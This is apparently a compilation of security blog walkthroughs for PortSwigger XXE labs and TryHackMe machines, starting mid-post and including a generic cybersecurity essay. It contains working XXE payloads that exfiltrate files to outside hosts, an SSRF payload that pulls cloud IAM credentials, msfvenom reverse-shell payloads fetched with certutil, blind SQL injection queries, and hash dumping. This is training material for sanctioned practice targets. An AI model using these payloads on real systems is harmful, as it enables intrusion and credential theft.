<!ENTITY % file SYSTEM “file:///etc/hostname”>

<!ENTITY % eval “<!ENTITY % exfiltrate SYSTEM ‘http://burp_collaborator_subdomain/?x=%file;’>”>

%eval;

%exfiltrate;

In the above payload we can see that we have used some parameter entities like file, eval and exfiltrate which will help us to exfiltrate the contents of “/etc/hostname” file from the target web server to our burp collaborator subdomain. Also, we have used a URL parameter “x” which will store the contents of hostname file.

Now just click on “Store” to host the code on our exploit server and then click on “View Exploit” to check out the URL of your hosted payload. Simply copy the URL.

Now let’s get back to repeater tab on Burp and create a payload to send a request to our exploit server. At the bottom of the POST request where we can see the XML content, insert the external entity definition between XML declaration and the StockCheck element as follows:

<!DOCTYPE foo [<!ENTITY % CyberiumX SYSTEM “https://Exploit_Server_link/exploit.dtd”> %CyberiumX;]>

Here, we can see that we have referenced the entity within the DTD using a percent character (%). Send the request.

Now switch to Burp Collaborator window and click on “Poll now” to check for any HTTP or DNS requests which came to the collaborator subdomain.

Let’s check the resource section in the HTTP request, we will find the hostname that we need to submit as the solution in order to solve the lab.

Lab 4- Exploiting blind XXE to retrieve data via error messages

In this scenario, we will be triggering an XML parsing error and with it we will try to retrieve some sensitive data. Let us see how that happens.

Access the lab and open Burp Suite in order to identify XXE vulnerability. Our webpage will open in a while.

Let’s click on “View Details” button to check out the details of the products. Now scroll down, we’ll find a stock check feature which allows us to check out the remaining stock of the product.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to repeater by Right clicking on the request and then clicking on “Send to Repeater” option.

Now we have to open our exploit server and host some payload in a DTD file. First add “.dtd” at the end of the file name and in the body section host a XXE code as follows:

<!ENTITY % file SYSTEM “file:///etc/passwd”>

<!ENTITY % eval “<!ENTITY % error SYSTEM ‘file:///invalid/%file;’>”>

%eval;

%error;

This will read the contents of “/etc/passwd” file and store it in “file” entity. Then we have used another parameter entity which is error and provided an invalid file path followed by our file parameter entity.

Now just click on “Store” to store the code on our exploit server and then click on “View Exploit” to check out the URL of your hosted payload. Simply copy the URL.

<!DOCTYPE foo123 [<!ENTITY % CyberiumX SYSTEM “https://exploit-0a25001204aa7fc481061f9601330059.exploit-server.net/exploit.dtd”> %CyberiumX;]>

Here, we can see that we have referenced the entity within the DTD using a percent character (%). Send the request.

We can see that we got the contents of “/etc/passwd” file in the response which will solve the lab as well.

Lab 5- Exploiting XXE to retrieve data by repurposing a local DTD

In this scenario, we will be learning about exploiting XXE with the help of a local DTD. There will be many cases where you will find that out-of-band interactions are blocked so how can you exfiltrate the data? In these cases you have to find a way through which you can use hybrid of internal and external DTD. Let us see how that happens.

Access the lab and open Burp Suite in order to identify XXE vulnerability. Our webpage will open in a while.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to the repeater by Right clicking on the request and then clicking on the “Send to Repeater” option.

Go to the repeater tab and at the bottom of the POST request where we can see the XML content, insert the external entity definition between XML declaration and the StockCheck element as follows:

<!DOCTYPE foo [

<!ENTITY % local_dtd SYSTEM “file:///usr/share/yelp/dtd/docbookx.dtd”>

%local_dtd;

]>

This will help you to confirm which DTD file exists on the server with its location. Now as we are not getting any error here which means that this file and its location exists on the server. There is an awesome list for possible DTD files which may exist in real environments. You can check it out here.

We can easily use the list to brute force possible DTD files using Intruder.

Now, remove the above payload and use the following payload to exploit the Blind XXE Vulnerability:

<!DOCTYPE message [

<!ENTITY % local_dtd SYSTEM “file:///usr/share/yelp/dtd/docbookx.dtd”>

<!ENTITY % ISOamso ‘

<!ENTITY % file SYSTEM “file:///etc/passwd”>

<!ENTITY % eval “<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>”>

%eval;

%error;

‘>

%local_dtd;

]>

Let me explain what the above payload is doing.

First of all there is a local_dtd which is a parameter entity and contains the content of external DTD file which is stored on the web server itself.
Secondly, there is another parameter entity called custom_entity which is a predefined entity in external DTD file. We defined this entity to generate error with the contents of /etc/passwd file.
Finally we called for local_dtd entity so that external DTD is executed which will include the value of custom_entity.

We can see that we got the contents of /etc/passwd file in the response which will solve the lab as well.

So, that was a lot to take in. We discovered many methods to exploit blind XXE vulnerability.

Next you guys can start with “Finding hidden attack surfaces for XXE injection vulnerability” on PortSwigger. You can check it out here on our blog.

Also, you can check out our other blogs on Cyber Security and Penetration testing here.

Happy Pentesting!!!

Team CyberiumX

The Worth of Cyber Security in the Modern Cyberspace

Introduction

Cyber hazards can be found everywhere in the modern digital environment. Businesses and individuals are increasingly at danger of cybercrime from virus assaults to phishing scams. Cyber attacks can have disastrous repercussions, such as the loss of confidential information, monetary loss, and reputational damage. Because of this, Cyber Security is more crucial than ever.

The Risks of Cybercrime

Cybercrime is a widespread issue that is becoming worse. Businesses are especially vulnerable because they store a lot of sensitive data that thieves may find valuable. Customer information, financial information, and intellectual property are some examples of this data. This information could have negative effects if it ends up in the wrong hands. As a result of paying for damages, legal costs, and lost revenue, firms may experience significant financial loss as a result of cyberattacks.
Businesses are at danger of financial loss, damage to their brand, and legal liability as a result of the constant innovation by cyber criminals in ways to breach company networks and steal confidential information. Due to the fact that they keep sensitive information on their gadgets, people are also at risk of cybercrime. Personal data like photos, contacts, stored passwords, etc., bank account information, and other sensitive information fall under this category. If this information is stolen, identity theft may be committed, which could have major repercussions for the victim.

The Benefits of Cyber Security

Businesses and people can benefit from Cyber Security by being protected from the threats of cybercrime. Businesses can lower their risk of data breaches and other cyberattacks by putting in place efficient Cyber Security measures. This can assist in defending delicate information, financial resources, and reputation.
Cyber Security measures can also assist protect people’s personal information and thwart identity theft, which is a benefit to individuals. Firewalls, antivirus programmes, and encryption are examples of effective Cyber Security solutions. These steps can lessen the chance of data breaches and help prevent cyberattacks. Other protections could include data backup, routine software updates, and employee training.

Personal Privacy Protection

As social networking, internet commerce, and digital transactions have grown in popularity, personal privacy protection has taken center stage. Strong passwords, encryption, and secure browsing are just a few of the cybersecurity tools that help keep personal data private and out of the hands of unauthorized people or groups. This aids in the prevention of online crimes including financial fraud and identity theft.

Protecting Business Assets

Organizations must prioritize cybersecurity in order to safeguard important assets including customer information, intellectual property, financial data, and trade secrets. A successful cyberattack can have disastrous repercussions, including financial loss, legal responsibilities, and reputational harm. Businesses can reduce the risk of breaches and guarantee the continuity of their operations by having strong cybersecurity policies.

Maintaining National Security

Cybersecurity is important for preserving national security, as well as being a concern for people and corporations. Cyberattacks frequently target crucial infrastructure, government institutions, and military organizations. A breach in these areas might cause major disruptions, damage sensitive data, or even endanger public safety. To defend against cyberthreats from state as well as non-state actors, it is crucial to strengthen cybersecurity regulations at the state and national levels.

Encouraging Ethical Practices

Cybersecurity includes ethical practices within businesses in addition to safeguarding against external threats. Promoting ethical behavior with regard to handling of data, privacy, and information sharing involves putting cybersecurity rules and standards into place, performing routine training for staff, and enforcing stringent protocols. This lowers the possibility of internal breaches or data leaks and promotes an organizational culture of prudent cybersecurity measures.

Conclusion

In the current digital landscape, the importance of cybersecurity has reached unprecedented levels. The escalating threat of cybercrime poses significant risks to both individuals and businesses, with potentially devastating consequences. It is imperative to have robust and comprehensive cybersecurity solutions in place to address the increasing vulnerabilities and hazards associated with cyberspace. At CyberiumX, we provide tailored services designed to meet the specific needs of your company. Our team of dedicated professionals is committed to ensuring the safety and innovation of your business. To learn more about how we can assist you in safeguarding your company, we encourage you to contact us without delay.

Please check out our other blogs.

Stay Secure!!

Team CyberiumX

PortSwigger | Overview of XXE Vulnerability | Walkthrough

Hello folks,

This blog focuses on how we can identify and exploit XML External Entities (XXE) Vulnerabilities on websites. In this blog, I will be providing a detailed walkthrough of PortSwigger’s XXE Apprentice Lab. Also, I will be covering all XXE Vulnerability Labs in my other upcoming blogs. Let’s proceed without any delay and begin the penetration testing process.

Click here to access the XXE labs on PortSwigger.

Before moving further, you should have little understanding of XML language and how to create its payload.

Lab-1 Exploiting XXE Vulnerabilities using external entities to retrieve files

There are two lab scenarios that we are going to cover here. First one is how to retrieve local files stored on a Web server using external entities. Second one is how we can perform SSRF attacks using external entities.
So let’s start with retrieving sensitive files. Access the lab and open Burp Suite in order to identify XXE vulnerability. Our web page will open in a while.

In order to identify XXE, we need to find any XML related parameters on our website so for that we have to look around and click on different links that we have on the webpage.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to the repeater by right clicking on the request and clicking on the “Send to Repeater” option.

Now, at the bottom of the POST request where we can see the XML content, insert the external entity definition between XML declaration and the StockCheck element as follows:

<!DOCTYPE penetrate [ <!ENTITY CyberiumX SYSTEM “file:///etc/passwd”> ]>

Also mention &CyberiumX; as a reference to the external entity by replacing the ProductId number to make a call to this entity. Send the request and we will get a response with the contents of the passwd file.

Hurray!!!. We have successfully identified and exploited our first XXE vulnerability on PortSwigger and hence the lab is solved.

Lab-2 Exploiting XXE to perform SSRF attacks

In this scenario we have to perform a SSRF attack using XXE. For those who do not know about SSRF vulnerability, let me give an explanation. SSRF stands for Server Side Request Forgery. It allows an attacker to send a malicious request to the web server forcing it to perform an external or internal request to some other machines on the behalf of the attacker.

So here we have to force the server to send a request to http://169.254.169.254/ IP address and check if we are getting any response from it by exploiting XXE vulnerability.

We will do the same thing as we did previously. So, let’s access the lab and connect it with Burp Suite in order to identify XXE vulnerability. Our web page will open in a while.

In order to identify XXE, we need to find any XML related parameters on our website so for that we have to look around and click on different links that we have on the webpage.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to the repeater by right clicking on the request and clicking on the “Send to Repeater” option.

Now, at the bottom of the POST request where we can see the XML content, insert the external entity definition between XML declaration and the StockCheck element as follows:

<!DOCTYPE penetrate [ <!ENTITY CyberiumX SYSTEM “http://169.254.169.254/”> ]>

Also mention &CyberiumX; as a reference to the external entity by replacing the ProductId number to make a call to this entity. Let’s send the request and we will see that we are getting “latest” written as the output which might be the next directory.

So, keep on adding the identified directories and send the request using Burp Repeater. The final payload will look like this:

<!DOCTYPE penetrate [ <!ENTITY CyberiumX SYSTEM “http://169.254.169.254/latest/meta-data/iam/security-credentials/admin”> ]>

After sending this final payload, we will receive some information about admin user out of which we require “SecretAccessKey”.

Hurray!!!. We have successfully identified and exploited SSRF vulnerability with the help of XXE vulnerability on PortSwigger and hence the lab is solved.

We have completed two basic labs on XXE. Next you guys can start with Blind XXE vulnerabilities on PortSwigger. You can check it out here on our blog.

Also, you can check out our other blogs on Cyber Security and Penetration testing here.

Happy Pentesting!!!

Team CyberiumX

TryHackMe- Quotient

Hello folks,

This blog focuses on a recently added machine called “Quotient” on the “TryHackMe” platform. It has been classified as an Easy-level challenge. It will help you to sharpen your windows privilege escalation skills. Let’s proceed without any delay and begin the penetration testing process.

Click here to access Quotient machine.

First of all let’s start the machine by clicking on “Start Machine”. Scan the obtained IP using the tool “NMAP”.

nmap -Pn <Machine_IP>

This machine is a windows machine so we will use –Pn not to ping the machine.

You can see that only the RDP (3389) port is open and we are provided with the credentials. So let’s log in with the help of xfreerdp. You can use any RDP access tool like Remmina or rdesktop.

xfreerdp /v:Machine_IP /u:sage /p:”gr33ntHEphgK2&V” /workarea /smart-sizing

So we got the Graphical User Interface (GUI) access of the machine. We need to find a way to escalate our privileges.

I tried various methods like Abusing Dangerous Privileges, Harvesting passwords from usual spots and scheduled tasks, but got nothing interesting. Then I tried the abusing service misconfiguration and got some interesting output using the following command

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v “C:\Windows\\”

This command is searching for those services whose BINARY_PATH_NAME contains Unquoted Service Path.

So, I got a few services and out of them only one contains an Unquoted Service Path which is “Development Service”.

Now let’s get more information about the service using:

sc qc “Development Service”

Great! The service is executed on the behalf of LocalSystem. Now in order to exploit it we need to look for a writable directory within the provided Binary Path. So for that we can use the “icacls” command with the directory path name.

icacls “C:\Program Files\Development Files”

We can confirm from here that we as a member of Users group have writable permission on this directory. So, we are now good at exploiting it. For that, let’s create a service payload using msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Your_IP> LPORT=4444 -f exe-service -o Devservice.exe

Now we can execute python server to host the file using

python3 –m http.server 7777

And we can download the file in “C:\Program Files\Development Files” using certutil command

certutil –urlcache -f http://<Your_IP>:7777/Devservice.exe Devservice.exe

Now provide appropriate permission to the file which we just downloaded on windows machine using:

icacls Devservice.exe /grant Everyone:F

Next thing is to start the listener on our machine using Netcat

nc –nlvp 4444

Now we just need to restart the service using “sc” command

sc stop “Development Service”

But you will find that we do not have the permission to do the same.

So, we can simply restart the system which will restart the service by default and help us to get the escalated shell on our netcat listener.

It took around 1-2 minutes for the system to restart and start the “Development Service”. As soon as the system restarts, you will find that you have a reverse shell as “nt authority\system” user.

Boom!!! We got elevated access on the device. You can check out the final flag at C:\Users\Administrator\Desktop using the following command:

type C:\Users\Administrator\Desktop\flag.txt

Quotient is a great box to explore windows privilege escalation techniques. Thanks to TryHackMe for this great machine.

Also, you can check out our other blogs on Cyber Security and Penetration testing here.

Happy Pentesting!!!

Team CyberiumX

TryHackMe- Prioritise

Hello folks,

This blog focuses on a recently added machine “Prioritise” on “TryHackMe” platform. It has been classified as a Medium-level challenge. It will help you to sharpen your payload creation skills for SQL injection vulnerability. Let’s proceed without any delay and begin the penetration testing process.

Click here to access the Prioritise machine.

First of all let’s start the machine by clicking on “Start Machine”. Scan the obtained IP using the tool “NMAP”.

nmap <Machine_IP>

We are getting only 2 TCP open ports i.e. SSH (22) and HTTP (80). Let’s enumerate the HTTP port and start by searching the Machine_IP on our browser.

There are two fields provided in the webpage, Title and Date. So, I have added two tasks to my to-do list.

There is a “Sort by” button given which we can use to sort the tasks by Title, Done and Date.

Identifying SQL Injection Vulnerability On ‘Prioritise’

While changing the sort by, I found a GET parameter with name “order” and it might be vulnerable to SQL Injection vulnerability. Let’s check out the parameters to confirm. I added a single quote (‘) as a value to the order parameter to confirm the vulnerability and I got 500 Internal Server Error.

In order to resolve the error I added another single quote after the previous one and the error got resolved.

So, it confirmed the Blind SQL Injection vulnerability on the application. Now, we need to create a payload which might help you to exploit the vulnerability.

You can check out the Portswigger’s content on SQLi which will help you to get a good understanding on Blind SQL injection exploitation. Also, they have a really awesome SQLi cheat sheet.

So, now let’s come back and create a payload.

We need to guess the table name and column name. According to me it should be simply “flag” for both of them so let’s try to confirm it using our payload

I created a simple payload which will help us confirm the same:

Payload-> (select flag from flag)

We can see that when I replaced the flag word with something else you got Internal Server error which confirms that the name of the table and column is “flag”.

Exploiting SQL Injection Vulnerability On ‘Prioritise’

Now using these findings, we can simply create another payload to exploit it.

Payload-> (select case when (substring(flag,1,1))<“a” then title else date end from flag)

Payload-> (select case when (substring(flag,1,1))>”a” then title else date end from flag)

In this payload I have used “title” and “date” which are the predefined values for “order” parameter

From this, we can see that the first character of the flag is greater than “a” as we are getting the tasks sorted by title.

Now we simply need to write a python script to get our flag. I also tried with Burp Suite but I couldn’t find how to look for those requests which have the results sorted by Title. Believe me I tried a lot.

Now, in order to create a python script, I researched something and finally got the script running.

Here is the screenshot of the python script which will help you to get the flag using the above SQL query.

Simply paste your Machine_IP in the url variable, save the script and make it executable using

chmod +x brute.py

Now execute the script with the following command:

python3 brute.py

Boom!!! We got the flag within 1 minute using the awesome python script. Python is a good language for easing your Penetration Testing Tasks.

So we successfully performed not so common blind SQL injection exploitation and got our way into the database of Prioritise machine by TryHackMe. Also, you can check out our other blogs on Cyber Security and Penetration testing here.

Happy Pentesting!!!

Team CyberiumX

TryHackMe- Blueprint

Hello folks,

This blog focuses on a recently added machine called “Blueprint” on the “TryHackMe” platform. It has been classified as an easy-level challenge where we need to penetrate our way into a windows machine. Let’s proceed without any delay and begin the penetration testing process.

Click here to access the Blueprint Machine.

First of all let’s start the machine by clicking on “Start Machine”. Scan the obtained IP using the tool “NMAP”.

nmap -sS <Machine_IP>

Okay, so we have a lot of ports open (expected from a windows machine). Let’s start with our enumeration from HTTP ports which are 80, 443 and 8080.

Port 80 gives “File not found” error. Port 443 (HTTPS) and 8080 (HTTP) are providing the same website in response.

There is a directory mentioned on the webpage with the name “oscommerce-2.3.4/”. It looks like an application with version details. Let’s peek inside it.

Let’s straightaway look for any vulnerability for this version on Google. There are many vulnerabilities related to this version and the next version to it which is 2.3.4.1. I found something which is very interesting in a Github repository. You can check it out here.

Let’s clone the repository and see how to use the python script.

Usage is given in the script itself which provides following command:

python3 osCommerce2_3_4RCE.py http://<Machine_IP> /oscommerce-2.3.4/catalog

So, let’s use this command on both ports which is 443 and 8080 as they are running the same website.

Booomm!!! We got the shell as nt authority\system using the exploit on the 8080 port. This was very easy.

Let’s look for users on the machine.

We have two tasks here. First is to get the NTLM hash of “Lab” user and then crack it and second is to get the content of root.txt.

Firstly, let’s try to read the root flag which will be stored in the Desktop of Administrator user. Also, here we are not able to change our present directory using cd command.

Yeah, so we got the root flag which was stored in a txt square file. Now our task is to get the Lab user’s password. So for that let’s check out the architecture of the target windows machine using systeminfo command. I tried to upload the mimikatz_x86.exe file but it didn’t execute and hanged my shell.

So now let’s create a msfvenom payload and get the shell using metasploit framework on exploit/multi/handler.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your_machine_IP> LPORT=4444 -f exe -o winshell.exe

Also, let’s start python server to share the file on windows machine.

sudo python3 -m http.server 7777

Now, in order to download the file let’s execute certutil command on Windows

certutil -urlcache -f http://<Your_Machine_IP>:7777/winshell.exe winshell.exe

Let’s now prepare our reverse shell listener on the metasploit framework using msfconsole command.

Then type following commands to set the listener:

use exploit/multi/handler

show options

set lhost tun0

set payload windows/meterpreter/reverse_tcp

exploit

Simply execute the winshell.exe file on windows and you will get a reverse shell on your handler.

Now we need to dump the user’s hashes using the hashdump command of the meterpreter shell.

Now simply copy the NTLM hash of the Lab user and go to crackstation and crack the hash.

So, that’s all for this machine. Blueprint is overall a very easy box by TryHackMe for Windows machines.

Also, you can check out our other blogs on Cyber Security and Penetration testing here.

Happy Pentesting!!!

Team CyberiumX

Optimizing Windows Performance

Importance of Windows optimization for Cyber Security

1. Clearing windows cache and windows temp files

2. Clearing GPU cache to improve windows gaming performance and storage:

3. Removing old windows updates

4. Removing old programs from windows

5. Removing large files in windows

6. Setting up windows storage sense

Initial Foothold on Weasel

Pivoting on Weasel

Privilege Escalation on Weasel

Lab 1- File path traversal, simple case

Lab 2- File path traversal, traversal sequences blocked with absolute path bypass

Lab 3- File path traversal, traversal sequences stripped non-recursively

Lab 4- File path traversal, traversal sequences stripped with superfluous URL-decode

Lab 5- File path traversal, validation of start of path

Lab 6- File path traversal, validation of file extension with null byte bypass

Lab-1 Exploiting XInclude to retrieve files

Lab 2- Exploiting XXE attack via image file upload

Lab-1 Blind XXE with out-of-band interaction

Lab 2- Blind XXE with out-of-band interaction via XML parameter entities

Lab-3 Exploiting blind XXE to exfiltrate data using a malicious external DTD

Lab 4- Exploiting blind XXE to retrieve data via error messages

Lab 5- Exploiting XXE to retrieve data by repurposing a local DTD

Introduction

The Risks of Cybercrime

The Benefits of Cyber Security

Personal Privacy Protection

Protecting Business Assets

Maintaining National Security

Encouraging Ethical Practices

Conclusion

Lab-1 Exploiting XXE Vulnerabilities using external entities to retrieve files

Lab-2 Exploiting XXE to perform SSRF attacks

Identifying SQL Injection Vulnerability On ‘Prioritise’

Exploiting SQL Injection Vulnerability On ‘Prioritise’

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